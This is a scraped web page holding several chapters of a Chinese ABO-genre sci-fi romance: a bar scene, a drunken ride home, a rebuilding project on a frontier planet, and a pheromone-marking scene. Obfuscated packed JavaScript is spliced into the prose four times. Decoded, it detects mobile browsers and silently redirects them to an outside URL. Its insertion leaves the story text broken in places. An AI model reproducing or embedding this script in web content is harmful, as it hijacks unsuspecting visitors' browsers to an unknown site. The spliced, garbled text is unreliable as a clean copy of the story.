;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396571|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用再给钱”时,顾礼然已将备好的晶石递过去了。 “既然是兄弟,账上就更要算清楚。”顾礼然平静道。 裘壹咂咂嘴,对这个回答满意极了。他先是大笑两声,又看向戚应物:“小戚,你还记得我们第一回合作吗?你当时也是这么说的,一个字不差!” 他用力拍着两人的肩膀:“你们俩,怎么还会不是朋友呢?这么投合的!” 戚应物尴尬地扯扯嘴角。 顾礼然一脸漠然。 裘壹看见戚应物不自然的脸色,不再探究,只亲切地搭上顾礼然的肩膀:“来,兄弟,我给你介绍一下咱们飞鱼帮!” 戚应物本以为顾礼然一定会冷漠拒绝,没想到这人竟然点头应下,神态自然地和飞鱼帮众人混在了一起。。 看着丝毫没有军官架子、甚至不像个贵族的顾礼然,戚应物只觉新鲜。 不过正好,他可以避开顾礼然,去完成自己要做的事。 他挤过人群来到吧台,冲调酒师扬手打了个招呼。 这调酒师是位二十多岁的Beta。虽然是Beta,但骨架纤细面容清雅,又有着颇具亲和力的笑容,在这间酒吧里一直是人气极高的存在。 调酒师见到戚应物,微笑着靠过来:“戚船长,好久不见。今天还是老样子?” 戚应物点点头。 很快,调酒师递过来一杯加了碎冰配着柑橘片的杜松子。 戚应物伸手拿过酒杯,食指与中指却并做一处稍稍翘起,没有贴着杯子—— 调酒师心领神会,从戚应物的两指间中接过一张小纸条和一片薄薄的高纯度晶石。 纸条上是些看似毫无意义的花纹。但对于戚应物的族人,对于他们星盗团,这代表了“我在哪里,我遇到了什么,我是否安全,以后用什么方式联络”。 很快,戚应物的族人们就会收到这些信息,也会拿到这块足够一族老少安稳生活一年半载的晶石。 这一次,戚应物之所以推荐顾礼然来鸣沙岭星,除了他和裘壹关系熟稔以外,更重要的原因,是“航海者之家”是族人们的秘密据点之一。 被顾礼然抓获后,他一直非常谨慎,没用光脑给族人们发出任何信号,也没用加密币转账,唯恐被人“顺藤摸瓜”。 而跑到这帝国的边境区域,趁着和顾礼然一起来酒吧的机会,再用这种最古老的方式联络族人,几乎无法追踪。 待调酒师冲他会心一笑之后,戚应物向对方回了个眼神,端起了酒杯。 他一边呷着杯子里清凉微酸的杜松子,一边偷偷瞥向顾礼然: 这人还在和裘壹聊天,并没有看向这边。 戚应物暗暗松了口气。 即使敏锐如顾礼然,也没有察觉到自己的小动作。 一杯杜松子下肚,戚应物的神经松弛了许多。 他刚想起身离开吧台,裘壹一屁股坐到他旁边:“小戚!你难得来一次,上次找你喝酒你就找借口跑了,这次可不许再跑了!” 戚应物知道裘壹的犟脾气,也不好推,只得苦笑着说自己酒量确实不行,刚喝了一杯,最多只能再喝点儿低酒精度的黑麦酒。 裘壹爽快道:“那就黑麦酒!先来一扎!” 戚应物:…… 连着几杯黑麦酒下肚,戚应物有些飘飘然了。 即使醉意上头,他依旧下意识地绷着身体,维持着该有的仪态,不让人察觉自己的醉意。 哪怕他的头开始晕晕乎乎,胃里也在翻江倒海。 他就这么坐在谈兴正浓千杯不倒的裘壹旁边,机械地从对方手里接过一杯又一杯的酒。 直到身后响起带着丝丝寒气的声音: “戚船长,你醉成这样,明天还怎么带我们离开?” 14. 你要什么? 戚应物茫茫然回过头—— 果然是顾礼然。 这人身上没有一点酒气,面庞比往常还要白,衬得眼眸如同两块黑白色的冰。 不知道为什么,一看到顾礼然,戚应物方才身体里那股绷着的劲儿,顿时就去了大半。 他甚至没有回答顾礼然的话,只直愣愣地和人对视着,再咧嘴笑了出来。 这时,哪怕是心大如裘壹,也看出戚应物这状态真是喝多了。 他笑哈哈地起身,正要让手下小兄弟送戚应物回旅店,却看见顾礼然伸手扶住戚应物的胳膊:“我带他回去。” 而戚应物也不反抗,不挣扎,闭着眼皮,一副任由顾礼然摆布的样子。 裘壹一边说我给你们安排车,一边想着你们这关系不是挺好的吗?两个Alpha这么又搂又抱的,要是关系不好,不早该打起来了? 真是搞不懂你们这些城里人对“朋友”的定义了。 * 顾礼然坐在后座,沉着一张脸,用光脑浏览着鸣沙岭星熔盐发电场的信息。 他有些烦躁。 准确地说,从看见戚应物自以为瞒天过海地去找那个Beta调酒师时,这种烦躁感就缠了上来。 但他摸不准这种情绪的来由。 这也是紊乱症造成的吗? 确实有可能。按照信息素稳定程度的状况推算,再过5天,必须得再来一次标记…… 就在这时,顾礼然右边肩膀兀地一沉—— 是戚应物的脑袋。 这家伙,醉酒睡着了也就罢了,现在竟然还拿自己的肩膀当枕头? 顾礼然想也没想,便要伸手将人推开。 可就在他的手碰到戚应物的浅茶色头发时,他突然察觉到,这小小的密闭空间里,涌起一股淡淡的甜香气。 是戚应物的信息素。 那糖果一般,又带着夏日海洋气息的信息素。 这一次,不像以往,自己完全没有那种“左右互搏”的难受。 他甚至可以闭上眼,安心地享受这丝丝绽放的味道,任由这缕甜香抚平心中的烦躁。 或许,是因为现在的戚应物很乖,很安静,一点棱角都没有,达到了江医生所说的“顺从又温和”的状态? 顾礼然没有再试图推开肩膀上的人。 不但如此,他的手指还无意识地抚摸着戚应物的头发。 光滑,柔软,手感不错。 像是什么毛乎乎的动物。 就在顾礼然的手指不小心碰到戚应物的耳廓时,靠在肩膀上的毛茸茸脑袋突然动了一下,跟被扰了清梦的幼犬一样,猛地支棱起来,睁开了眼睛。 向来八风不动沉静如渊的顾将军,手指蓦地僵住,耳朵尖上迅速绽出一点不易察觉的红。 就在顾礼然打算强装无事把这件事冷处理过去时,戚应物竟然侧着身体继续往前凑,就在呼吸可闻的距离,呆呆地望着他。 他那双眼尾下垂的浅褐色眼睛里带着点儿雾气,干净得仿佛是被露水湿润了的琉璃珠,全无棱角与戾气,只有带着天真的温柔。 顾礼然这次不光是手指,连身体都有些发僵了。 偏偏戚应物对此毫无察觉。 他就那么望着顾礼然,像是不认识眼前这人,不知道自己哪。 他缓缓抬起手,在顾礼然白瓷一般的脸上摸了一把,睫毛轻轻颤动着,眼神纯净得如同春日的溪水: “原来是你。” “原来我在做梦。” 说完,这人脑袋往前一扎,仿佛终于见到主人的幼犬一般,贴着顾礼然的脸颊蹭来蹭去的,还用力地嗅着顾礼然的头发。 这一下,顾礼然将方才定好的冷处理计划瞬间丢到黑洞里,抬手抵住戚应物的肩膀,低喝道:“戚应物!发什么酒疯!” 顾礼然的手上并没有收着力气。 倘若戚应物不是Alpha,此时多半会疼得跳起来。 然而戚应物只是往后微微退了一点距离,眼里委屈巴巴的,喉咙里还叽里咕噜又急急切切地嘟哝着什么,倒像是他被人欺负了一般。 顾礼然的脸愈发的黑,正琢磨着要把人丢到地板上去,冷不防光脑跳出提示音—— 是信息素的监测程序提示他,现下状态明显好转。如继续保持,预计可稍许推迟下次标记的时间。 ……之前江奇曾经说过,“要是在更亲密的状态下,比如拥抱啦,依偎啦,在这种状态下吸入对方的信息素,那你接受标记治疗的频率还能再降低”。 自己本以为,绝对不会出现这种“亲密的状态”。 没想到,这家伙喝醉之后,反倒阴差阳错的…… 顾礼然看着面前醉眼朦胧的戚应物,放松手上的力度,低声道:“你要什么?” 戚应物见眼前这人不再执意把自己推开,当即往前一垂脑袋,哼哼着:“摸!” 顾礼然:……?! 顾礼然一边啼笑皆非,一边把手搁到对方的后脑勺上。 这家伙甚至主动又蹭了两下,像是在提醒自己“快摸!快! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396572|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾礼然一下一下地摸着,指尖流连在戚应物淡茶色的发间。 他很小心地避开了对方后颈上的線体。 饶是如此,这小小的密闭空间里,信息素的味道依然越发的浓。 海盐的清新,糖果的甘甜,在迷离的昏暗里回旋着,如潮水一般裹住了人的身体。 明明没有在标记。 明明只是让对方靠在自己身上而已。 可顾礼然知道,他的血液流速加快了,他的呼吸也乱了。 甚至他的脸上也越发的烫。 分明滴酒未沾,倒显得他也醉了一般。 甚至,他原本只搁在戚应物脑袋上的手,也无意识地向下滑动,一路沿着对方的颈项向下,最终扣住对方的后背,像是希望这人与自己贴得再近一些。 直到戚应物闷闷地哼了一声,头埋在他的颈窝处,沉沉睡了过去。 * 戚应物醒过来的时候,人还有点发懵。 他不记得昨天自己是怎么回来的,也不记得是怎么倒在床上的。 但他依稀记得昨晚的梦。 梦里,大约是又回到了十三年前。 那个时候,自己总想赖在顾礼然身边,哪怕是外出观礼回来的路上,也执意要和顾礼然坐同一辆悬浮车。 每次坐到半路,自己就会抵挡不住困意,靠在顾礼然的胳膊上睡过去。 这样的梦,以前也有过。 戚应物不以为意地摇摇头,径自下床洗漱,换好驾驶服,推开了房门。 这次他们一行三人住的是一个大套房,推门出来就是公用的餐厅和客厅。 现下,顾礼然和艾科都坐在餐桌边,桌上摆着旅店仆从备好的早餐。 起晚了的戚应物自行拉开餐椅,问了声早安,和往常一样坐到顾礼然对面。 顾礼然手里端着杯黑咖啡,视线落在光幕上,并未抬眼看他。 戚应物的神思还有些涣散,眼神无意识地落到了顾礼然握着杯子的手上。 唔…… 干净的皮肤,淡青色的筋脉,分明的指节,是一双好看而有力的手。 自己现在都记得,昨晚的梦里,这手指落在自己发间的微妙触感,还有对方身上那种淡淡的、让人心安的味道…… 等等,昨晚的梦里?! 自己以前的梦,何时有这么真切过?! 难道……昨晚根本不是梦?! 那些哼哼唧唧地央着对方“摸摸自己”的画面,都是真实发生过的?! 15.太恶劣了! 戚应物又是震惊,又是尴尬,又是心虚。 总而言之,在这般复杂的心绪之下,他根本不敢再看顾礼然。 他低着头,摸过桌上的咖啡壶给自己倒了一杯,连牛奶都忘了加,端起杯子就往嘴里灌—— 太苦了,苦得他眉头止不住地跳。 顾礼然瞥了一眼他的黑咖啡,冷声道:“看来戚船长又不知道自己在喝什么了。” 若是换做以前,戚应物高低得反驳两句。 可他现在垂着头一声不敢吭,只拿起餐巾在嘴角按了两下。 倒是艾科出声打破了尴尬:“戚船长,刚才顾先生还在说,今天他要去看下西北边的熔盐发电场,所以不着急回诺丁谷,你可以在旅店好好休息一天。” 一谈到公事,戚应物立马正常了不少。 他疑惑地抬起头:“熔盐发电场?顾先生为什么要去那里?” 戚应物知道这座发电场——这是裘壹的家族早些年的产业之一。这座电场用光热和熔化的特制盐来发电,曾经是鸣沙岭星最重要的电力来源。 可以说,在这座发电场还能正常运转时,鸣沙岭星还勉强够得上“四等星”。 然而,随着几次席卷了半个鸣沙岭星的巨型沙暴,再加上百年不遇的一场大雨,这座占地面积惊人的发电场变为了废墟。 那之后,鸣沙岭星彻底没落了。 顾礼然放下手中的咖啡杯,神色淡然:“我打算出资重建这座发电场,今天先去实地看看。” 戚应物这下和人直视着,满眼困惑:“重建发电场?为什么?” 重建固然是好事,其所需要的资金量可谓是天价。 而且顾氏旗下应该已经有不少的能源公司了,顾礼然为什么还要在这么一个荒芜偏远的地方做这么大额的投资? 顾礼然:“按我和裘壹谈的条件,将来有进项了,我们能分成;更重要的,裘壹得从飞鱼帮里拨一队人给我们,和我们一起去诺丁谷。” 戚应物心道原来如此。 飞鱼帮的人,个个都有些技艺在身上,又都讲道义能吃苦,的确比诺丁谷能找到的雇佣兵靠谱多了。 难怪昨晚顾礼然会一反常态地和飞鱼帮打成一片,原来他一开始就想从这里带人走。 这时,恰有仆从有事过来,将艾科请到一旁去商量了。 餐桌上就剩下戚应物和顾礼然对坐着。 公事说完了,能打圆场的也不在,一时间戚应物尴尬得手都不知道往哪儿放。 还是顾礼然先开口:“戚船长,你这浑身不自在的模样,是过敏了吗?” 戚应物:“啊?没有,没有,我没过敏。” 他又迅速的,带着试探的意味补了一句:“我可能……嗯,昨晚喝得有点太多了……” 顾礼然:“确实。” 戚应物心中一惊,双颊比桌上的草莓果酱还要红,最后还是认命般问道:“我,呃,是不是喝多了之后,有些和平常不太一样的……动作?” 自己必须得弄明白。 如果真的酒后失礼,哪怕对方是顾礼然,该道歉还是得道歉的。 顾礼然:“有。” 戚应物眼睛倏然睁大,这下连耳垂都红透了。 顾礼然:“你昨晚跳到吧台上跳脱衣舞,一边跳一边唱‘两只老虎’。” “真是奇观呐。” 戚应物:“???不、不会吧?!” 顾礼然慢条斯理地点开光脑投影:“不信?我可都录下来了。” 戚应物一阵心梗:录、录下来了?! 很快,空气里飘起“两只老虎”的音乐声;与之相应的,是投影光屏上赫然出现—— 出现了一只随着歌谣摇头晃脑的小金毛?! 戚应物傻呆呆地瞪着那只金毛,片刻后才意识到什么,对着顾礼然怒目而视:“你骗人!” 顾礼然笑了。 笑得穆如春风,眉眼舒展:“嗯,对啊。” “偏偏你还会被骗到,多有趣。” 说罢,这人收起投影,带着嘴角的笑意,施施然起身离开。 剩下戚应物愣在原地,满心都是: 昨晚一定是在做梦! 否则以顾礼然这种恶劣的个性,怎么可能善罢甘休! 真的,顾礼然怎么这么恶劣啊! * 两天后,诺丁谷星。 “顾老板!您果然有办法!竟然真的拿到许可证了!” 贾议德委员长,满脸堆笑地看着眼前的小白脸,心道不知这人傻钱多的小白脸又去砸了多少钱。 顾礼然此时早已重新换上那身处处刻意彰显着矜贵身份的西装,握着手杖,神色疏离又带着点倨傲地睨了贾议德一眼,连句客气话都没说。 贾议德再次在心中肯定:到底只是个血统卑微缺乏教养的暴发户,瞧他这不知天高地厚的表情,还以为拿到许可证真的就能赚大钱了呢。 呵呵。 太天真了。 贾议德搓搓手,笑容可掬道:“可惜,可惜,您来的这个时间不凑巧。” “您知道,有好些个有资质的大企业,都已经开工了。” “咱们这个重建区呢,也都分好片,差不多都包给不同企业,剩不下啥了。” “现在还没包出去的,只剩下一小片,您说不定根本看不上……” 贾议德一边说,一边用光幕展示着。 顾礼然脸上流露出些“看不懂,这是什么”的神色,侧头和一旁的助理低声商量起来。 片刻后,Beta助理客客气气地对贾议德道:“我们老板说,就这片区域了,我们今天下午就过去。” 贾议德按捺住心中的狂喜,清清嗓子道:“好!我这就让人准备合同!” 哈,那片狗都看不上,一点好处都捞不出来的烂泥地,终于找到傻子来认领了! 不但如此,其他片区那些太难平的账目,那些难以解释的伤亡率,统统可以扔到这个傻子这里! 这简直就是上天送来的无知小羔羊啊!等下可得通知那些大老板们,让他们不要错过这个好机会! * 从委员会办公室出来,戚应物犹疑片刻,还是对顾礼然道:“你应该知道,那个肥头大耳的贾议德,故意把最烂,最难处理,根本没人愿意接的区域分给了你吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399185|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾礼然脸色自如,被黑色皮革包裹住的手指摩挲着鎏金杖首:“当然。” “我还知道,现在贾议德正忙着通知那些‘有权有势的大人物’,暗示他们赶紧把手里的腌臜事都推到我这‘人傻钱多’的小白脸这里来。” 顾礼然说到这里,眼底泛起几分顶级猎手的冷意:“这样的‘大礼’,可不能浪费了。” 戚应物心道顾礼然果然早有准备。 这家伙,究竟有什么事是不在他计算内的? 戚应物转头看着依然一片荒芜的街道,咬咬牙,还是把压在心头的问题抛了出来:“我说,你费这么大工夫,到这里来,究竟是为了什么?” 第一次听到顾礼然要伪装身份来边境区时,他心里就有了疑惑。 在看到顾礼然在鸣沙岭星的所为后,这个疑惑更重了。 他能看出来,顾礼然要做的事,不是简单的“调查一下边境区域究竟有多贫苦”。如果仅仅是为了这个目的,顾礼然根本没必要费心去筹谋这么多。 顾礼然裹在黑手套里的手指抵住下巴,脸上露出些玩味的表情:“这个啊,待戚船长领着飞鱼帮开始重建之后,或许自己就能找到答案了。” 戚应物:“哦……诶?等等,我领着飞鱼帮?我?” 顾礼然眼里闪过点儿狡黠的光: “对啊。我们最早的合同里,已经把具体工作都委托给戚船长了。” “飞鱼帮的人也好,重建基金也好,戚船长都可以随意调度。” 戚应物的眼皮直跳,嘴唇微微张着,却没能说出话来。 这次飞鱼帮派过来的人都能凑成一个小帮派了;而顾礼然备下的资金更是宽裕得超乎想象。 顾礼然怎么想的,竟把人和钱全交给了自己? 就在戚应物惊讶不已时,顾礼然脚步一缓,转身面对着他,语气变得冷漠而严肃: “戚船长可要努力工作,不要辜负我这个金主。” 戚应物:“……哦。” “否则……”顾礼然刻意拉长尾音,眼角微微一弯,刻着繁复花纹的金色杖首已抵住了戚应物的肩头,“否则,我就会给你准备好‘两只老虎’,让你边唱边跳。” 戚应物先是头皮一麻,随后激烈地抗议起来:“什么‘两只老虎’!” “我后来问过裘壹了,我喝醉之后啥也没做,根本没有唱歌更没有跳脱衣舞!” “你就是故意唬人的!” 这下顾礼然忍不住笑得将手杖杵在地上,连声道: “你还去问了?你还当真了?!” “啊这不比你真唱了两只老虎还有意思吗!” 戚应物:!! 他脸涨得通红,又不能大嚷大叫,只能追着扬长而去的顾礼然,词不达意地表达着自己的愤怒。 此时,远远跟在两人身后的艾科,满心羡慕地歪了歪脑袋: 哎,戚船长还不相信——果然顾将军就是很喜欢和他说话啊。 不知道戚船长说了些什么,能让顾将军这么开心? 嗯……说不定是在交流如何操作机甲? 毕竟顾将军私下非常欣赏戚船长的技术呢! 16.那位Omega 一周后,诺丁谷,十四区。 “戚哥,9C区域的废墟刚才清理完毕了!” “戚船长,我刚调整了预制模块的参数,看看能不能直接打印了?” “戚大哥,我把抛锚的压路机鼓捣了一下,应该能用了,有空时帮忙给看看呗?” 在戚应物带着飞鱼帮的一群人搭起来的“十四区重建组临时指挥所”里,戚应物忙得不可开交。 虽说来到十四区以前,戚应物已经料想到这里的状况不会有多好,但真正看到之后,他还是小小地吃了一惊: 这个十四区,差不多就是一个被抛弃的废墟。 距离天灾过去都两个月了,别说重修房屋街道恢复供给系统了,就连之前倒塌的屋舍都没人清理,灾民们现在都还挤在临时搭建的窝棚里。 这样的场景,若是被任何一个长期生活在首都星的贵族看到,只怕这人会捂着鼻子当场晕过去。 就连在五等星的鸣沙岭长起来的飞鱼帮,在这满目疮痍面前,也是又震惊又同情:这里的人,都是怎么活下来的? 还好,戚应物并没有被吓到。 他也见过,自己的族人在流浪到新的荒星之后,是怎么一点点建立起聚落的。 他仿着族人们当年的思路,拿出自己带领星盗团的架势,有条不紊地开工了。 划分网格,清理废墟,处理危险品,搭建简易房屋…… 以及最重要的,发放食品药物。 好在顾礼然给了足够用的人,也备下了足够用的钱。 相较之下,重建委员会那边提供的资源,简直少得像个笑话。不但如此,这个所谓的委员会,还设置了多得数不清的障碍——比如食品包只能购买某个指定供应商的,比如要想调用水库里的清水需要提前拿到足足三十道批文,比如禁止使用无人机…… 戚应物在不眠不休的同时,还得分出精神同委员会派出的监察员周旋。 就这么一口气不停歇地忙了一周,他们搭出了指挥所,清理了大半的断瓦残垣,重新核对了灾民的信息,还把灾民从窝棚转移到了有清洁水源和限时供电的营地。 这天下午,好几天都没闭眼的戚应物,坐在折叠帆布椅上,手里还拿着资料,就这么眼皮一阖睡着了。 朦胧间,他听见了身边人的对话。 是今天临时过来帮忙的艾科,还有主动和裘壹要求到诺丁谷来,要“跟着顾先生和戚船长一起干大事”的裘千。 这两名Beta其实已经压低声音了,但奈何戚应物的听力实在太好,足以将两人的对话一字不落地收进耳朵—— 裘千:“我以前看我哥,已经觉得Alpha很有精力了。没想戚船长比我哥还厉害,能连轴转地工作这么久!” 艾科:“说起来,戚船长在Alpha里也应该是顶级了吧?才能有这样的体力和反应力。” “不过,我们顾先生,在战……在商战的时候,那可比戚船长更帅,更专注,更日以继夜奋不顾身呢!” 裘千:“啊,顾先生。” “那确实。” “我想我一辈子都不会忘记,顾先生开着机甲,把我从海里捞出来的那个场景……” 这时,飞鱼帮的一名药剂师,也是队伍里唯一的一名Omega,插丨进两人的对话: “你们在讨论顾先生和戚船长吗?” “我问你们啊,你们觉得这两名顶级Alpha,谁更帅啊?” 这样一个纯属八卦的话题,毫不意外地吸引了众人的注意。 一时间,所有手上没有着急事务的人,全都凑过来,开始七嘴八舌地发表意见。 戚应物起初还能保持着装睡,甚至一边听着大家对顾礼然的评价一边在心中吐槽“你们都想错了!什么高冷禁欲冰山知性,分明是个恶劣透顶阴晴不定的糟糕性格!” 但当有位姑娘小声说出“你们不觉得这两人站一起的时候,有种别样的,参差对照的美感吗”,戚应物顿时睡意全消。 参差对照的美感?一听就就很奇怪。 他唰一下睁开眼睛坐直身体,放声问道:“前天订购的药剂包呢?可以拿去发了?” 原本麻雀般叽叽喳喳的众人瞬间散开,表情一个比一个严肃认真,完全不像才在背后蛐蛐了领导的样子。 药剂师则走到戚应物面前,手里拿着刚整理好的药剂清单:“和灾民的信息比对过了,我这就去发放。” 戚应物瞟了一眼小山一般堆在地上的药品箱子,对药剂师道:“东西太多,我来送去营地。” 在指挥所窝一天了,自己急需做些体力劳动舒展筋骨。 不料这位Omega药剂师迟疑一下,笑着摇头:“还是找两个Beta来帮忙吧。” 他将清单递给戚应物:“您看,这次的药品里,有一批是抑制剂,要送去给几位上了年纪又丧偶的Omega。如果他们这两个月都没有注射过抑制剂,您这么一过去,反而容易引起问题。” 听到这句话,戚应物脸色一变,忽地想起一件事。 但他当下没再说什么,另找了两名身强力壮的Beta,帮着扛上箱子送去营地分发了。 * 这天夜里,在居民营关灯休息、指挥所也人困马乏之后,戚应物驾着越野型单人机车直奔顾礼然所在的旅馆。 戚应物的心里有些发慌。 这段时间——准确的说,自打跟着顾礼然离开首都星以来,他就忘记了一件很重要的事—— 顾礼然说过,那位Omega的信息素不稳定,需要用到自己的信息素。 自己出发前确实灌了一块晶石留给他。 但晶石的容量有限。如今离开首都星也快一个月了,晶石里的信息素估计早就不剩什么了。 这些天以来,自己竟然忘了这回事。 这实在是……太不负责了。 * 戚应物赶到顾礼然的套房时,已经是凌晨三点。 顾礼然还在书房。 戚应物敲门进去时,顾礼然抬起头:“找我?” 戚应物知道,顾礼然这几天也在连轴转。 只不过,自己是在工地搬砖,顾礼然则是在应对那些闻风而来的“权贵”。 但戚应物有些意外的事,不过几日没见,怎么顾礼然的眼下多出了明显的一圈乌青? 这人不是鏖战五天五夜都能保持英姿飒爽的?为什么现在有种藏不住的疲惫感? ……难道这也是投影仪的化妆效果? 正疑惑着,顾礼然往后靠在椅背上,抬头看向戚应物,又问了一遍:“什么事,要让你特意跑过来?” 戚应物清晰无误地听出来,顾礼然的声音里也带着沉沉的疲倦感。 这不可能是化妆了。 意识到这一点之后,戚应物看向对方的眼神不可避免地多出两分惊疑。 顾礼然自然察觉出了这点变化。 他眉头微蹙:“到底什么事?” 戚应物索性直白道:“你该不会是被那些垃圾烦得睡不着觉了吧?看你脸色好差。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409352|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾礼然沉默几秒,用手撑着下巴道:“你大老远跑过来,就是为了研究我的睡眠状态?” 戚应物:“是啊,我还想把你现在这模样录下来,拿回去给那些非要说你比我帅的人看。” 他一面说,一面打开光脑,作势要录像—— 下一秒,一小段音频文件漂浮在光幕上。 顾礼然抱起双臂:“?” 戚应物:“这是我在‘甲壳虫’上播放的音乐。你不是说一听就想睡觉吗?送给你了。” 顾礼然一边说着“这种东西没用的”,一边将那段音频抓起来放进了自己的光脑。 收好音频,他再次道:“你究竟是来做什么的?” 戚应物将一个浅褐色纸口袋放在了顾礼然面前的办公桌上:“这个。” 顾礼然挑了挑眉毛,以眼神发问:什么? 戚应物:“这里面是我的T恤,当做睡衣穿的那种。” 这一次,顾礼然的眼神里瞬间多出几分毫不掩饰的嫌弃,以及“你到底在做什么”的质疑。 戚应物脸上一红,忙道:“不是给你的!” “这个,可以寄回首都星给‘那位Omega’。” “我走之前留给他的晶石,上面的信息素估计快用完了。” “这件衣服能帮到他。” 顾礼然盯着那个纸口袋良久,最终捏了捏眉心,慢慢道:“如果让你休半天假,你手上的工作能不能排得开?” 戚应物一怔,不明白为什么顾礼然突然把话题转到另一个方向去。 但他还是据实应道:“只休半天,又有艾科帮忙的话,不会耽误事。” “但这个和把衣服寄回去有什么关系?” 顾礼然:“不用寄。” 戚应物:“……不用?那位Omega的状态稳定了?” 顾礼然:“不是。” “过两天,你可以自己交给他。” 戚应物片刻后才反应过来,错愕道:“他要过来?他要到这里来?” 顾礼然指尖抵在眉骨处,并未直接回答,而是对着戚应物的眼睛探究半响,这才道:“我以为你听到这个消息会更激动。” “毕竟你不是时常在想他么。” 戚应物一僵,忙道:“我并没有——” 顾礼然截断他的话:“在飞船上,在海上,你不都想得出神了?” 戚应物下意识反驳着:“我真的不是在想他!我在想的是——” 话未出口,就被醒过神的戚应物给咽了回去。 这明显的卡顿之后,顾礼然一瞬不瞬地对着戚应物的眼睛,眼底比此刻的天幕还要黑,语调里听不出任何的情绪:“是……?” 戚应物垂下眼睛:“也没什么。” “我回去了。” 顾礼然冲桌上的纸口袋扬了扬下巴:“带走。” 戚应物一咬牙:“你转交吧。” “你会比我提前见到他吧。” “你们既然安排他到这么远的地方来……说明他的状态已经很差了。” “早点收到,对他比较好。” 说完,戚应物脚步匆匆地离开了。 只留下一个纸袋子,孤零零躺在桌上。 一秒,两秒。 半分钟过去,“咔嚓”一声,纸袋子被一只修长干净的手颤抖着撕开。 一件棉质T恤从中掉落,又被这只手拾起,再被带入了卧室。 很快,卧室里响起了急促的呼吸声,与无奈的喟叹声。 17.那位Alpha 两天后。 在顾礼然新买下的一间大宅里,戚应物“见”到了那位Omega。 Omega的状况,比戚应物之前想的还要糟糕一些。 戚应物堪堪推门进去,对方已迅速钳住他的腕关节,再用力往前一带—— 那架势,颇像是要和他打上一架。 可惜,对方的手在不停颤抖,气息也混乱不稳,让这个本应凶狠蛮横的动作失去了所有的威慑力。 戚应物反手握住对方手腕,另一手抚住对方的背部,放缓声音道:“我在这里了,别慌,别慌。” 他一面说,一面尽可能地释放着信息素,用自己的气味安抚着这已明显陷入焦躁状态的Omega。 被信息素包裹住之后,Omega周身的颤抖渐渐缓了下来。 半响,对方才用变声器修饰过的声音道:“我有什么可慌的。” 说罢,这人扯过戚应物的胳膊,带着目不能视的戚应物往前走了几步,毫无起伏地命令着: “坐下。” “今天是临时标记。” 戚应物便坐在了不知道是沙发还是软榻的软垫上。 对方也坐到了他旁边。 凭着过人的听力以及气味的变化,戚应物能感觉到,对方侧过身体,背对着自己,将散发着凛冽寒香的線体彻底暴丨露出来。 对方的声音四平八稳,却依然能听出急迫的意味:“不用做准备工作了,直接开始。” 戚应物没答话。 他先用将手指挪到对方的線体上,指尖极轻微极小心地触及那处柔软的皮肤—— 好烫。 Omega明显地颤动一下,喉咙里流出压抑着的气音。 显然是很疼了。 仅仅是这么轻柔细致的一点触碰,就会痛得发抖。 戚应物心里一阵愧疚。 他知道,这是被标记过的Omega,长期得不到特定Alpha信息素安抚时才会有的反应。 这种情况下,哪里能够直接开始? 他又说了一声“别急”,垂下头,收回手,换上了更为温润的嘴唇。 Omega的身体一阵轻微的战栗,幅度比方才放缓许多。他喉咙里压不住的低音,听上去也不再是忍着痛的气声。 一番温柔至极的摩挲之后,Omega像是急不可耐一般,反手重重拍向Alpha的胳膊:“你到底齩不齩。” 戚应物无奈地应着:“齩的,齩的。” 说实话,自从走进这间屋子,嗅到那异常浓烈的冷冽香气时,他早已难以自持。 全靠着“不能弄伤对方”的念头,他才强撑着忍到现在。 如今被Omega再三催促,他当然是忍不下去了。 他稍稍调整了下角度—— 锋利的犬齿,瞬间穿丨透对方又薄又软,似已备受蹂丨躏的皮肤。 * “唔——” 顾礼然的手指在软榻上抓住深深的几道痕迹。 随着对方的信息素不断融入,他的意识越发涣散,整个人似是漂浮了起来,漂在让他四肢舒展的温泉中,浮在温柔拍打的海浪间,融在甜香沁人的暖风里。 他一开始还能齩住嘴唇,唯有喉咙洩出几声。渐渐的,他的嘴唇已无法合拢,就连眼神都失去了焦距。 